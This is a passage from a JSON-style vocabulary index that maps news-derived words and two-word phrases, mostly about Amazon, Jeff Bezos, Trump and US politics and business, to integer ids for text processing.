74890, "llc bought": 74891, "person appointed": 74892, "hammacher": 74893, "relatively new": 74894, "lago longtime": 74895, "cellmate pete": 74896, "platform meant": 74897, "aluminium": 74898, "esquire just": 74899, "action plan": 74900, "facebook google": 74901, "highlighting physical": 74902, "studio slayings": 74903, "periods": 74904, "delivery segment": 74905, "kam mumtaz": 74906, "carrier": 74907, "postal infrastructure": 74908, "right elevating": 74909, "kingdoms": 74910, "billionaire investor": 74911, "shown complete": 74912, "explained researchers": 74913, "manhattan district": 74914, "bringing projected": 74915, "including representative": 74916, "figures included": 74917, "wholesale club": 74918, "mass unit": 74919, "investment banker": 74920, "progressive policies": 74921, "world conception": 74922, "agency rep": 74923, "adults ages": 74924, "relationship page": 74925, "brilliant tv": 74926, "rick rycroft": 74927, "mister president": 74928, "applewhite ap": 74929, "vinden": 74930, "ike leggett": 74931, "lozano": 74932, "story hit": 74933, "highflier": 74934, "runnings": 74935, "lilia owens": 74936, "wears blindfold": 74937, "meltdown home": 74938, "prnewswire prweb": 74939, "states million": 74940, "metapack key": 74941, "investors bought": 74942, "jefferies analysts": 74943, "bezos raised": 74944, "corporate taxation": 74945, "including 500": 74946, "free time": 74947, "investigation public": 74948, "eyebrow raising": 74949, "2016 border": 74950, "leaked training": 74951, "implement paris": 74952, "consumers khan": 74953, "marvel badass": 74954, "hacking related": 74955, "hostile advocacy": 74956, "freetime amazon": 74957, "cut amazon": 74958, "control kindle": 74959, "things right": 74960, "share held": 74961, "kosher": 74962, "amtrak passengers": 74963, "local hospital": 74964, "judiciary committees": 74965, "yelp news": 74966, "news hit": 74967, "promote anti": 74968, "yoqpgcixof": 74969, "intra party": 74970, "mail forever": 74971, "sandboxes san": 74972, "autocrat user": 74973, "explosive public": 74974, "brett biggs": 74975, "partially": 74976, "2019 overall": 74977, "marking": 74978, "lenders business": 74979, "poison products": 74980, "wonderful kind": 74981, "compatible tablet": 74982, "elena kagan": 74983, "stole": 74984, "ami attorney": 74985, "samin": 74986, "amazon greene": 74987, "inciting conflict": 74988, "kee": 74989, "107 u0": 74990, "giant earlier": 74991, "receive stories": 74992, "fool board": 74993, "eventual price": 74994, "overall shoddy": 74995, "manage": 74996, "company chris": 74997, "thew": 74998, "items available": 74999, "department called": 75000, "fires california": 75001, "younger audience": 75002, "company attention": 75003, "criminals buy": 75004, "cancer research": 75005, "family members": 75006, "romance biography": 75007, "spectacles": 75008, "trump upbeat": 75009, "rights uscpr": 75010, "make large": 75011, "pulling ridiculous": 75012, "kabc radio": 75013, "inflation rates": 75014, "trade dispute": 75015, "massive digital": 75016, "inf": 75017, "encouraging shoppers": 75018, "joyfully": 75019, "fortune dropped": 75020, "report predicts": 75021, "criticism 2018": 75022, "160bn": 75023, "wikileaks spirit": 75024, "craft better": 75025, "ayaz": 75026, "hearing vallone": 75027, "slanderous": 75028, "combined writes": 75029, "dodd frank": 75030, "alfiky npr": 75031, "qanon devotees": 75032, "bob hackett": 75033, "chippiest stocks": 75034, "reserve spot": 75035, "digital marketplace": 75036, "committee democrats": 75037, "desantis mediabuzz": 75038, "year final": 75039, "delivered using": 75040, "requirements state": 75041, "winky wonky": 75042, "google need": 75043, "state remember": 75044, "law professor": 75045, "hq2 presence": 75046, "lockers particularly": 75047, "speculations": 75048, "cnbc key": 75049, "different eyeballs": 75050, "socialised": 75051, "indian fiction": 75052, "hase ap": 75053, "misdirection": 75054, "america geographic": 75055, "kunath airs": 75056, "tuition textbooks": 75057, "border deployments": 75058, "ami later": 75059, "dakota law": 75060, "big canadian": 75061, "demand increases": 75062, "organization currently": 75063, "asia closed": 75064, "assassinated comrades": 75065, "wrote people": 75066, "trump tax": 75067, "watch comedy": 75068, "dalai": 75069, "plymouth": 75070, "treatment counseling": 75071, "hit boiling": 75072, "announced shortly": 75073, "bezos rocket": 75074, "brennan linsley": 75075, "directv": 75076, "meets adam": 75077, "cries jake": 75078, "inchoate adolescent": 75079, "starwave": 75080, "follow china": 75081, "children migrate": 75082, "adoption": 75083, "information adding": 75084, "daily tipsheet": 75085, "gcc": 75086, "facts leonid": 75087, "klobuchar cory": 75088, "safety paul": 75089, "government rules": 75090, "current washington": 75091, "pancake lover": 75092, "computer software": 75093, "emmanuel suffers": 75094, "mark blinch": 75095, "officials seriously": 75096, "rusty": 75097, "colbert quipped": 75098, "jersey pine": 75099, "admission remains": 75100, "mcmahon": 75101, "amazon entered": 75102, "mount pleasant": 75103, "doesn celebrate": 75104, "267018": 75105, "spotted evan": 75106, "journalists trailed": 75107, "border officers": 75108, "sock company": 75109, "messages stoked": 75110, "consumer services": 75111, "richmond times": 75112, "fireplace": 75113, "boiling level": 75114, "951 975": 75115, "just heard": 75116, "upkeep": 75117, "amazon obeying": 75118, "1973 watergate": 75119, "believes bezos": 75120, "equity strategy": 75121, "probably does": 75122, "group latest": 75123, "stated rural": 75124, "gmb": 75125, "group sponsored": 75126, "trigger significant": 75127, "told reuters": 75128, "settle scores": 75129, "weather minutes": 75130, "abc congress": 75131, "arlington amazon": 75132, "pf_rd_t": 75133, "clothing baby": 75134, "purchase orders": 75135, "company ceo": 75136, "statement expressing": 75137, "helped ted": 75138, "development particularly": 75139, "told face": 75140, "commingling": 75141, "policymaking 101": 75142, "guidelines failed": 75143, "desiree": 75144, "worth 777": 75145, "briefly linked": 75146, "viii": 75147, "getting relegated": 75148, "reduce regulatory": 75149, "fact just": 75150, "huebner": 75151, "senate plan": 75152, "significantly higher": 75153, "indigenous cultures": 75154, "pentagon says": 75155, "economic war": 75156, "billion earnings": 75157, "yesterday": 75158, "false server719394": 75159, "subtexts": 75160, "challenging marker": 75161, "term survivability": 75162, "chart 2_5": 75163, "tailored offerings": 75164, "fake winemakers": 75165, "100 members": 75166, "tough comparisons": 75167, "situations": 75168, "savino amazon": 75169, "sites apple": 75170, "dollar signs": 75171, "reportedly reviewing": 75172, "opportunity reports": 75173, "city neighborhood": 75174, "owner private": 75175, "women think": 75176, "profit making": 75177, "vote blocks": 75178, "security agency": 75179, "mccabe florida": 75180, "world including": 75181, "sent 145": 75182, "ab inbev": 75183, "comments fox": 75184, "cliff sims": 75185, "group lawg": 75186, "trevor little": 75187, "inquiry technically": 75188, "martinez president": 75189, "avalon": 75190, "fewer": 75191, "holm ext": 75192, "city transformation": 75193, "welcomed usps": 75194, "work authorization": 75195, "growth decelerate": 75196, "energy": 75197, "jason pray": 75198, "crisis debate": 75199, "caracas venezuela": 75200, "sagrado": 75201, "endicia offered": 75202, "manner": 75203, "king checkmate": 75204, "moody standard": 75205, "cash stores": 75206, "bully pulpit": 75207, "advertising growth": 75208, "fda latest": 75209, "2f19 2f2018": 75210, "connected neighborhood": 75211, "slideshows videos": 75212, "chair nita": 75213, "better reporting": 75214, "things amazon": 75215, "135 billion": 75216, "beltway criticized": 75217, "hamlin": 75218, "block dorsey": 75219, "black cargo": 75220, "individuals eager": 75221, "security clearances": 75222, "wsj net": 75223, "writer vf": 75224, "fact pay": 75225, "private criticisms": 75226, "directly confronted": 75227, "tax": 75228, "slow pace": 75229, "read readers": 75230, "toilet abc": 75231, "recruit talented": 75232, "unstoppable pressure": 75233, "mortar companies": 75234, "muellerism mccarthyism": 75235, "overshadows": 75236, "anniversary": 75237, "best entrepreneurial": 75238, "paulette": 75239, "investigation financial": 75240, "wong": 75241, "post bastion": 75242, "comey check": 75243, "resume testing": 75244, "evelyn sanguinetti": 75245, "consultant john": 75246, "investor believes": 75247, "know racism": 75248, "125 microseconds": 75249, "consumer pulling": 75250, "schools steer": 75251, "cortez new": 75252, "business citi": 75253, "cornell": 75254, "embarrass trump": 75255, "save shop": 75256, "figures explore": 75257, "firs balsam": 75258, "disturbing stories": 75259, "income consumers": 75260, "act rfra": 75261, "million plusthat": 75262, "natt": 75263, "cast": 75264, "carnage": 75265, "year election": 75266, "medical marketplace": 75267, "growing criticism": 75268, "wrecks": 75269, "phone messages": 75270, "amazon blamed": 75271, "gap 2018": 75272, "nbcnews": 75273, "000 local": 75274, "reduce child": 75275, "considering": 75276, "signed big": 75277, "sourceamazon kushner": 75278, "flex work": 75279, "democratic socialism": 75280, "morath": 75281, "bozo apparently": 75282, "sells consumer": 75283, "weeks prior": 75284, "paid customers": 75285, "separately mexico": 75286, "space": 75287, "year postal": 75288, "pokes fun": 75289, "purchase popular": 75290, "discussing jedi": 75291, "gunjan soni": 75292, "year deal": 75293, "finish deliveries": 75294, "view archives": 75295, "rare appearance": 75296, "entrepreneurs deliver": 75297, "gain congressional": 75298, "2300 annually": 75299, "secretary claims": 75300, "film consumers": 75301, "new tactic": 75302, "alyssa mastromonaco": 75303, "lantern thousands": 75304, "amid growing": 75305, "press fake": 75306, "applaud amazon": 75307, "site merchandiser": 75308, "package things": 75309, "hosts women": 75310, "43539638": 75311, "big overreaction": 75312, "saari produced": 75313, "stop tweeting": 75314, "rate hikes": 75315, "networking expert": 75316, "reviews theater": 75317, "kitchen sink": 75318, "abusive users": 75319, "meme satirical": 75320, "story troop": 75321, "consumers beguiled": 75322, "elected representatives": 75323, "digital healthcare": 75324, "success story": 75325, "fix story": 75326, "assembling broad": 75327, "integrator": 75328, "amazon received": 75329, "trump lawyers": 75330, "steam reining": 75331, "employers": 75332, "living cells": 75333, "violence minutes": 75334, "1548et copyright": 75335, "roofs weeks": 75336, "post suddenly": 75337, "stock california": 75338, "national conference": 75339, "ongoing campaign": 75340, "assignment reporter": 75341, "wondered hadn": 75342, "congress sets": 75343, "furloughed workers": 75344, "better sources": 75345, "letting trump": 75346, "potential effects": 75347, "aired ads": 75348, "instilling": 75349, "evangelical preacher": 75350, "does live": 75351, "instagram read": 75352, "calibrated": 75353, "guardian says": 75354, "called statements": 75355, "hoax watch": 75356, "veteran journalist": 75357, "shared projects": 75358, "donatella apprehensions": 75359, "carta": 75360, "store easier": 75361, "essentially preordains": 75362, "norris weeks": 75363, "picture trump": 75364, "lasted questions": 75365, "nz": 75366, "fifa world": 75367, "dishonest damage": 75368, "street segment": 75369, "silva nick": 75370, "growing": 75371, "fox sports": 75372, "security stay": 75373, "enable ice": 75374, "house invited": 75375, "credit trump": 75376, "practices plaintiffs": 75377, "space tourism": 75378, "topical": 75379, "help republicans": 75380, "bets according": 75381, "verify government": 75382, "traffic stress": 75383, "panel company": 75384, "deere tractor": 75385, "trip took": 75386, "obama starts": 75387, "travel agency": 75388, "company support": 75389, "influence consider": 75390, "trotter": 75391, "celebrate 100": 75392, "shudder": 75393, "added better": 75394, "reportedly used": 75395, "secret sexual": 75396, "doesn level": 75397, "helping smugglers": 75398, "ink quidsi": 75399, "bezos decision": 75400, "wasn major": 75401, "target conservative": 75402, "mayukh sen": 75403, "furious twitter": 75404, "pablo martinez": 75405, "giftee": 75406, "deposit goodbye": 75407, "different argument": 75408, "entered trump": 75409, "blocker": 75410, "read latest": 75411, "function p9x": 75412, "precious stones": 75413, "filler pencil": 75414, "urging consumers": 75415, "send billions": 75416, "passes": 75417, "migrants turn": 75418, "automatically tracks": 75419, "limits placed": 75420, "stifle": 75421, "profit john": 75422, "congress passed": 75423, "firefighters wary": 75424, "patrick gaspard": 75425, "african art": 75426, "nearby women": 75427, "question ofwhether": 75428, "newman published": 75429, "park senior": 75430, "announcement did": 75431, "rogowsky play": 75432, "amazon docuseries": 75433, "annoy": 75434, "video maximizedbanner": 75435, "charge lower": 75436, "opted instead": 75437, "proposed regulating": 75438, "alongside existing": 75439, "company employs": 75440, "popular movement": 75441, "want centrist": 75442, "border mission": 75443, "american pushed": 75444, "fellow inventors": 75445, "abney used": 75446, "revelations took": 75447, "griff": 75448, "post don": 75449, "basic clothing": 75450, "built vast": 75451, "senators say": 75452, "faang firms": 75453, "girlfriend lauren": 75454, "sector update": 75455, "sorted doses": 75456, "sean spicer": 75457, "inner paradigm": 75458, "commie scum": 75459, "street executives": 75460, "op humpty": 75461, "lame\u0430joke": 75462, "trump tendency": 75463, "jobs taking": 75464, "included charlie": 75465, "slammed icann": 75466, "eyebrows thanks": 75467, "gras network": 75468, "2016 election": 75469, "plus walmart": 75470, "unknown roads": 75471, "zimbabwe": 75472, "numberof jobs": 75473, "included saucy": 75474, "human fingernails": 75475, "perspectives trump": 75476, "share facebook": 75477, "director jan": 75478, "tech journalism": 75479, "rathner thank": 75480, "abuse investigation": 75481, "gonzalez says": 75482, "content sharing": 75483, "high probability": 75484, "ea": 75485, "saying governor": 75486, "stamp eligibility": 75487, "teen fiction": 75488, "packaging used": 75489, "backyard": 75490, "expected posting": 75491, "deliberately": 75492, "meyers joked": 75493, "reports swa": 75494, "brackett content": 75495, "rick snyder": 75496, "host andrea": 75497, "housing administrator": 75498, "whilst domestic": 75499, "american homes": 75500, "thriller fan": 75501, "enclosure": 75502, "farmers hurt": 75503, "accenture q2": 75504, "2020 reuters": 75505, "chamber inboth": 75506, "greatly contributing": 75507, "limit trump": 75508, "rings special": 75509, "camden": 75510, "compromising photos": 75511, "lived thing": 75512, "bakkt": 75513, "marconi amherst": 75514, "drops ivanka": 75515, "extremist fell": 75516, "divorced time": 75517, "fund holds": 75518, "lawmakers urge": 75519, "tesla earnings": 75520, "destroying main": 75521, "crunching abilities": 75522, "drew": 75523, "national aeronautics": 75524, "term issue": 75525, "business videocollectionurl": 75526, "outstanding news": 75527, "trump tackling": 75528, "manhandled": 75529, "industry competitive": 75530, "trump callout": 75531, "crosstalk haverty": 75532, "lebeau new": 75533, "china losing": 75534, "fair playing": 75535, "wrongs": 75536, "ching": 75537, "adj": 75538, "attractive obviously": 75539, "exterior super": 75540, "jobs combined": 75541, "daca": 75542, "riders anecdotally": 75543, "respond quickly": 75544, "editorial product": 75545, "francisco begin": 75546, "whirlwind romance": 75547, "rustbelt hometown": 75548, "documentary wiseman": 75549, "spendingcompromise": 75550, "mark lennihan": 75551, "safeguards agreement": 75552, "westmoreland neighborhood": 75553, "removed special": 75554, "ordered government": 75555, "scholarly rigor": 75556, "zhou": 75557, "office story": 75558, "trump crowed": 75559, "year tab": 75560, "libertarian": 75561, "hearing titled": 75562, "commissioners": 75563, "taser torture": 75564, "corporate campus": 75565, "company control": 75566, "hired researchers": 75567, "amazon 562": 75568, "self regulation": 75569, "stop cooperating": 75570, "critical tone": 75571, "demand fields": 75572, "cute emergency": 75573, "1988 following": 75574, "handling suleiman": 75575, "000 killings": 75576, "gifts": 75577, "bully": 75578, "stage drew": 75579, "comment sent": 75580, "maximizedbanner": 75581, "harney alistair": 75582, "reportedly dates": 75583, "material finished": 75584, "dented shares": 75585, "shouldstartvideo": 75586, "khan movies": 75587, "state wapo": 75588, "referring swetnick": 75589, "lasers": 75590, "arizona rally": 75591, "taking financial": 75592, "hard": 75593, "bloomberg samsung": 75594, "democracy source": 75595, "uneven economic": 75596, "reformed church": 75597, "sun shirt": 75598, "hardly changed": 75599, "strategy shift": 75600, "house floated": 75601, "sequential declines": 75602, "counterfeit olive": 75603, "favale wmj": 75604, "big lenders": 75605, "prosecution": 75606, "payment provider": 75607, "reporting instruments": 75608, "hotdog": 75609, "jig": 75610, "itunderscores": 75611, "boies schiller": 75612, "started trading": 75613, "emeritus": 75614, "taxes julia": 75615, "counter claim": 75616, "shirking tax": 75617, "uproar sanders": 75618, "patient cape": 75619, "earlier threat": 75620, "powell ouster": 75621, "honorary chinese": 75622, "league rights": 75623, "given day": 75624, "omero": 75625, "bleak working": 75626, "buying tiny": 75627, "executive privately": 75628, "275 employees": 75629, "datecreated": 75630, "customer dies": 75631, "frost": 75632, "best tire": 75633, "total random": 75634, "met previously": 75635, "including rebounders": 75636, "high kids": 75637, "jobs hard": 75638, "specifically addresses": 75639, "couldn pass": 75640, "considered": 75641, "italys di": 75642, "gang beams": 75643, "american urban": 75644, "durable goods": 75645, "mass distraction": 75646, "nederland": 75647, "feel sting": 75648, "nic winding": 75649, "pursue policies": 75650, "staple etf": 75651, "high pitched": 75652, "netanyahu sparks": 75653, "toilet bottle": 75654, "network graph": 75655, "america teamed": 75656, "adult children": 75657, "new iphone": 75658, "ago registered": 75659, "called revolvers": 75660, "judicial analyst": 75661, "explicitly referred": 75662, "executive dennis": 75663, "tax question": 75664, "3119": 75665, "vestager addresses": 75666, "shattered": 75667, "seemingly driven": 75668, "censorship section": 75669, "new retail": 75670, "surface level": 75671, "1531685705": 75672, "embattled": 75673, "watch liverpool": 75674, "betrayal": 75675, "potential fleet": 75676, "amid trump": 75677, "insider spoke": 75678, "designated ozs": 75679, "router password": 75680, "arabella beauty": 75681, "amazon minutes": 75682, "enables people": 75683, "magnum pi": 75684, "team contact": 75685, "american homelessness": 75686, "contract known": 75687, "abramovich latest": 75688, "staggeringly good": 75689, "frmr wh": 75690, "jewish supporters": 75691, "benjamin harrison": 75692, "reinvention": 75693, "academic test": 75694, "manager thomson": 75695, "competitive especially": 75696, "westervelt spent": 75697, "individualist indebted": 75698, "brimming": 75699, "game places": 75700, "case described": 75701, "slaughters": 75702, "systemic trends": 75703, "charitable giving": 75704, "legislative branches": 75705, "mta marijuana": 75706, "tighten lending": 75707, "spinoff abc": 75708, "witch elm": 75709, "kate atkinson": 75710, "amendment grounds": 75711, "birthday knopf": 75712, "mourning included": 75713, "infrastructure building": 75714, "389": 75715, "opioid epidemic": 75716, "talev": 75717, "starbucks executive": 75718, "bezos mistress": 75719, "profile white": 75720, "roads kingdom": 75721, "unfairly exploits": 75722, "powerful understanding": 75723, "power profoundly": 75724, "based nuclear": 75725, "dorsey": 75726, "club amazon": 75727, "young ones": 75728, "developer niantic": 75729, "funded worker": 75730, "bomb pop": 75731, "h8 z8": 75732, "horcher danielle": 75733, "entrepreneurial outfit": 75734, "kappa alpha": 75735, "marks omitted": 75736, "night congress": 75737, "dc metropolitan": 75738, "quotebyline": 75739, "court picks": 75740, "nather": 75741, "caravan migrant": 75742, "powerhouse shares": 75743, "magazine original": 75744, "jeffbezos 1547043466000": 75745, "games ordered": 75746, "european union": 75747, "books code": 75748, "phone network": 75749, "weathered": 75750, "particularly alphabet": 75751, "transport service": 75752, "leader alibaba": 75753, "appropriate committee": 75754, "reuters mnuchin": 75755, "publix zing": 75756, "year research": 75757, "extra trusted": 75758, "recode website": 75759, "work work": 75760, "2018 watch": 75761, "whilst": 75762, "cuckoo": 75763, "sanders criticism": 75764, "city low": 75765, "vague complaints": 75766, "plays tough": 75767, "firm yoswein": 75768, "goodthreads crew": 75769, "newswire ai": 75770, "romantic walks": 75771, "governments depend": 75772, "descriptiontext videocardcontents": 75773, "retirement beckons": 75774, "pursuing ventures": 75775, "anti environment": 75776, "documentation": 75777, "enduring tightfistedness": 75778, "national policies": 75779, "nutting marketwatch": 75780, "delivery financial": 75781, "audiotape": 75782, "100 department": 75783, "summit withdrawal": 75784, "ceo kyle": 75785, "receive orders": 75786, "donning custom": 75787, "figure skaters": 75788, "trump slammed": 75789, "entire music": 75790, "saw certain": 75791, "refugees trying": 75792, "13th place": 75793, "sells grab": 75794, "shot": 75795, "amazon domestic": 75796, "strong michael": 75797, "approximately 600": 75798, "man owner": 75799, "inquirer publisher": 75800, "del rey": 75801, "produced comedy": 75802, "habitats": 75803, "trump conception": 75804, "rl venezuela": 75805, "captured approximately": 75806, "organ harvested": 75807, "wooing": 75808, "eventful year": 75809, "holdings curtis": 75810, "week democrats": 75811, "adventure mode": 75812, "specific pain": 75813, "brandus banks": 75814, "important races": 75815, "structure": 75816, "guatemalan": 75817, "carrying additional": 75818, "renewed targeting": 75819, "rise pirro": 75820, "taxes highlighting": 75821, "comprises berlin": 75822, "farah": 75823, "lascivious": 75824, "home health": 75825, "responded publicly": 75826, "joins chorus": 75827, "amd great": 75828, "enter india": 75829, "left activists": 75830, "2019 looks": 75831, "require exemptions": 75832, "briefcase washington": 75833, "suggests warming": 75834, "growth accelerates": 75835, "ouster caption": 75836, "chhay student": 75837, "previous year": 75838, "modest pace": 75839, "hud regulatory": 75840, "dropped": 75841, "uk session": 75842, "aardvark": 75843, "workers poor": 75844, "acquisitions route": 75845, "toolkit": 75846, "hiring lina": 75847, "american study": 75848, "twcnnp": 75849, "fascinating company": 75850, "finalists including": 75851, "apparel including": 75852, "mile fulfillment": 75853, "joining forces": 75854, "right outlet": 75855, "intelligent": 75856, "926": 75857, "free fall": 75858, "approved disney": 75859, "obama orders": 75860, "news china": 75861, "lightning connector": 75862, "sas applications": 75863, "notoriously insular": 75864, "pop culture": 75865, "program ends": 75866, "businesses bought": 75867, "new washers": 75868, "falsely claims": 75869, "prime delivers": 75870, "decades making": 75871, "energy consumption": 75872, "start working": 75873, "plans gone": 75874, "don beyer": 75875, "pakistan clash": 75876, "protecting sensitive": 75877, "evacuation florida": 75878, "post joins": 75879, "babis": 75880, "allegedly abusing": 75881, "profile divorce": 75882, "including funding": 75883, "preoccupations": 75884, "devastate": 75885, "matthew mickler": 75886, "unclear exactly": 75887, "project attempts": 75888, "company missing": 75889, "today attended": 75890, "twitter rickjnewman": 75891, "design editor": 75892, "residential towers": 75893, "echo toni": 75894, "requested keoshkerian": 75895, "twitter ombudsman": 75896, "wrote art": 75897, "chinese merchants": 75898, "anfbi": 75899, "paper folded": 75900, "loathe cable": 75901, "immelt mistakes": 75902, "brings amazon": 75903, "committee oversight": 75904, "disruption 2018": 75905, "really needs": 75906, "american idiot": 75907, "total compensation": 75908, "devotee tucker": 75909, "allow government": 75910, "huge change": 75911, "booker": 75912, "adrienne arsht": 75913, "critical medical": 75914, "mattis resigned": 75915, "1500 month": 75916, "freking": 75917, "kettle black": 75918, "amazon frederick": 75919, "declined giving": 75920, "approve legislation": 75921, "subsidizing workforce": 75922, "nick reported": 75923, "bst": 75924, "host joe": 75925, "rarefied": 75926, "operated enterprises": 75927, "patty lissa": 75928, "causing troubles": 75929, "android phone": 75930, "headliner": 75931, "jr says": 75932, "stalin napoleon": 75933, "pursuing anti": 75934, "american households": 75935, "congress civil": 75936, "joel rubin": 75937, "handbags online": 75938, "riverdale spark": 75939, "emboldened judges": 75940, "party aim": 75941, "internet purchases": 75942, "times day": 75943, "quarter lobbying": 75944, "election claimed": 75945, "melania trump": 75946, "trump assert": 75947, "ana winds": 75948, "urban probably": 75949, "313 100": 75950, "republicans lost": 75951, "controversial titles": 75952, "prolonged trade": 75953, "questions remain": 75954, "dated nov": 75955, "bozotheclown bezostheclown": 75956, "planes airbus": 75957, "employee raising": 75958, "hader stars": 75959, "joseph simons": 75960, "announced new": 75961, "tanks": 75962, "anymore reback": 75963, "sales fizzled": 75964, "battle following": 75965, "chinese operations": 75966, "drop pct": 75967, "giant hitting": 75968, "wolf": 75969, "uco stormproof": 75970, "maduro": 75971, "fleecy": 75972, "eve hewson": 75973, "projects efforts": 75974, "amazon read": 75975, "tweeting according": 75976, "series following": 75977, "opportunity affirmative": 75978, "identify": 75979, "areas near": 75980, "drama book": 75981, "story continued": 75982, "concessions": 75983, "far dispatched": 75984, "company achieved": 75985, "yesterday claimed": 75986, "scarborough answered": 75987, "sure pants": 75988, "series led": 75989, "certain hashtags": 75990, "resurfaced": 75991, "free supply": 75992, "interviewing seriously": 75993, "transit": 75994, "eponymous": 75995, "interesting headlines": 75996, "initial approaches": 75997, "gains greater": 75998, "gorbachev": 75999, "politically astute": 76000, "twitter exchange": 76001, "implications yesterday": 76002, "blasts asian": 76003, "people voice": 76004, "related deaths": 76005, "incorrectly claiming": 76006, "mona": 76007, "left rupert": 76008, "globe following": 76009, "following statement": 76010, "meddling investigation": 76011, "state smartphones": 76012, "tsai ing": 76013, "weapons": 76014, "veracity trump": 76015, "ami ferocious": 76016, "cbs documentary": 76017, "open borders": 76018, "amazon traditions": 76019, "pay extortionate": 76020, "based learning": 76021, "smorodin": 76022, "joint employer": 76023, "monitoring": 76024, "obama speech": 76025, "ur chronicler": 76026, "evan notes": 76027, "98point6 technology": 76028, "operations designed": 76029, "postal golden": 76030, "private platforms": 76031, "facebook profile": 76032, "coaster day": 76033, "amazon zone": 76034, "john mcdonnell": 76035, "feed think": 76036, "read enjoyed": 76037, "write blog": 76038, "trims relate": 76039, "clearly aimed": 76040, "essay published": 76041, "firm bezos": 76042, "leaders angry": 76043, "transport costs": 76044, "stores axios": 76045, "picks 2018": 76046, "teenage satanists": 76047, "devonlive": 76048, "unites gop": 76049, "american choice": 76050, "told prosecutors": 76051, "handles utility": 76052, "live say": 76053, "blanched": 76054, "graphic photos": 76055, "dispassionate observer": 76056, "sasha baron": 76057, "aid called": 76058, "chaos wells": 76059, "president gawande": 76060, "pledge analysts": 76061, "role americanized": 76062, "registration form": 76063, "adam laxalt": 76064, "post assigned": 76065, "road crash": 76066, "respective socialist": 76067, "disclosure requirements": 76068, "justify new": 76069, "federal officers": 76070, "fix healthcare": 76071, "oliver darcy": 76072, "manageable cord": 76073, "right finishing": 76074, "corrupt member": 76075, "industry power": 76076, "education spending": 76077, "return amazon": 76078, "organizations representing": 76079, "masterclass": 76080, "quick points": 76081, "foto man": 76082, "new partnerships": 76083, "summary judgment": 76084, "brooklyn 131": 76085, "notes stein": 76086, "church road": 76087, "feelings": 76088, "service isn": 76089, "wage hikes": 76090, "crisscrossing": 76091, "corporate taxes": 76092, "officials refer": 76093, "britain given": 76094, "mourning observance": 76095, "surveillance images": 76096, "amazon celebrated": 76097, "pubgmxaw": 76098, "ultimately serve": 76099, "dream stock": 76100, "crimes report": 76101, "delivers everyday": 76102, "plan severe": 76103, "game director": 76104, "bern university": 76105, "asking range": 76106, "tech maybe": 76107, "treasury yield": 76108, "selected": 76109, "dent great": 76110, "summit happy": 76111, "concept far": 76112, "born": 76113, "nights": 76114, "right politician": 76115, "russ": 76116, "price performance": 76117, "aws revenue": 76118, "hardcore": 76119, "big ratings": 76120, "financial questions": 76121, "baby food": 76122, "notes wall": 76123, "photos includes": 76124, "api integration": 76125, "talks grows": 76126, "popular diet": 76127, "directs just": 76128, "set rate": 76129, "pike": 76130, "thelegislative": 76131, "babcock lumish": 76132, "321 exemption": 76133, "hospital bombing": 76134, "practice generally": 76135, "diamond": 76136, "america violence": 76137, "wired apple": 76138, "rivalries": 76139, "investors looking": 76140, "morning new": 76141, "knighthood": 76142, "team says": 76143, "antarctica solo": 76144, "research reports": 76145, "stock fdx": 76146, "build amazon": 76147, "abandoned plans": 76148, "market benchmarks": 76149, "home baked": 76150, "dubbed": 76151, "shop talk": 76152, "nature micronutrient": 76153, "perfectly acceptable": 76154, "tv propaganda": 76155, "ice respectively": 76156, "continue suntrust": 76157, "marketplace hasn": 76158, "lower earning": 76159, "plans tobuild": 76160, "spicer family": 76161, "entire customer": 76162, "chinese perfidy": 76163, "jayme": 76164, "vegetarian cookbook": 76165, "plan trump": 76166, "football association": 76167, "final step": 76168, "personal freedom": 76169, "trump including": 76170, "trump fixer": 76171, "revival fueled": 76172, "manipulate political": 76173, "missions": 76174, "us269": 76175, "mexico paying": 76176, "brian peters": 76177, "2018 remember": 76178, "bottle amazon": 76179, "wedding guest": 76180, "biases large": 76181, "golf properties": 76182, "china kate": 76183, "haverty managing": 76184, "corcoran": 76185, "chelsea townsend": 76186, "tyranny fake": 76187, "fires dozens": 76188, "angerer critics": 76189, "deforestation prevention": 76190, "purchase possibly": 76191, "amazon constantly": 76192, "model dividend": 76193, "john harwood": 76194, "price spike": 76195, "really dangerous": 76196, "reminds": 76197, "john kelly": 76198, "mcld": 76199, "okaaaay": 76200, "doubled si": 76201, "messy divorce": 76202, "trs0": 76203, "walmart treatment": 76204, "furniture technology": 76205, "pinzon": 76206, "nadella told": 76207, "sales direct": 76208, "semiconductor names": 76209, "wanted newly": 76210, "discrimination committed": 76211, "global political": 76212, "distribution universe": 76213, "relatively easy": 76214, "stock surges": 76215, "graduating toronto": 76216, "allies included": 76217, "edexheimer": 76218, "counterfeit listings": 76219, "member": 76220, "theirgrudging": 76221, "stuck": 76222, "divert funding": 76223, "restaurants": 76224, "trade brought": 76225, "westervelt": 76226, "great spy": 76227, "world iq": 76228, "average fee": 76229, "ronald ron": 76230, "herera southwest": 76231, "options volume": 76232, "independent bookstores": 76233, "organization stonewall": 76234, "read learn": 76235, "employee fired": 76236, "loophole according": 76237, "roses passing": 76238, "arnold trump": 76239, "koeswoyo": 76240, "billion bailout": 76241, "official tasked": 76242, "dark time": 76243, "action scenes": 76244, "historic turning": 76245, "protesting trump": 76246, "unworthy men": 76247, "hq2 sweepstakes": 76248, "business new": 76249, "product guarantee": 76250, "know choices": 76251, "holds meeting": 76252, "osho": 76253, "trade deadline": 76254, "qapital": 76255, "serve customers": 76256, "pedophilia": 76257, "miller details": 76258, "standard deal": 76259, "nfl star": 76260, "macotakara claims": 76261, "murderous": 76262, "travelling assassin": 76263, "search process": 76264, "extraordinary meeting": 76265, "followed ultimatums": 76266, "oft touted": 76267, "initial capital": 76268, "financially unsustainable": 76269, "npr accessibility": 76270, "doesn stink": 76271, "bred kavanaugh": 76272, "luca guadagnino": 76273, "global shopping": 76274, "hacked": 76275, "upsetting": 76276, "pipped": 76277, "say thank": 76278, "challenged": 76279, "showbiz": 76280, "acquisitions technology": 76281, "fbi andrew": 76282, "branded drugs": 76283, "parts unknown": 76284, "indexrose": 76285, "persistently denounced": 76286, "weep": 76287, "make microsoft": 76288, "shelter despicable": 76289, "nick oza": 76290, "testing shipping": 76291, "beard dabeard": 76292, "bootleg copy": 76293, "accepts help": 76294, "competitive workforces": 76295, "rq score": 76296, "controversial drug": 76297, "hire poor": 76298, "mueller doesn": 76299, "losing billions": 76300, "fact nearly": 76301, "000 year": 76302, "bribing football": 76303, "told smith": 76304, "grad": 76305, "bancshares incorporated": 76306, "service delivers": 76307, "exciting clue": 76308, "airline continues": 76309, "2019 revenue": 76310, "insects": 76311, "memorandum today": 76312, "meltdown mnuchin": 76313, "folding clothes": 76314, "students marched": 76315, "modern agribusiness": 76316, "commuter ferry": 76317, "pay corporate": 76318, "deserve place": 76319, 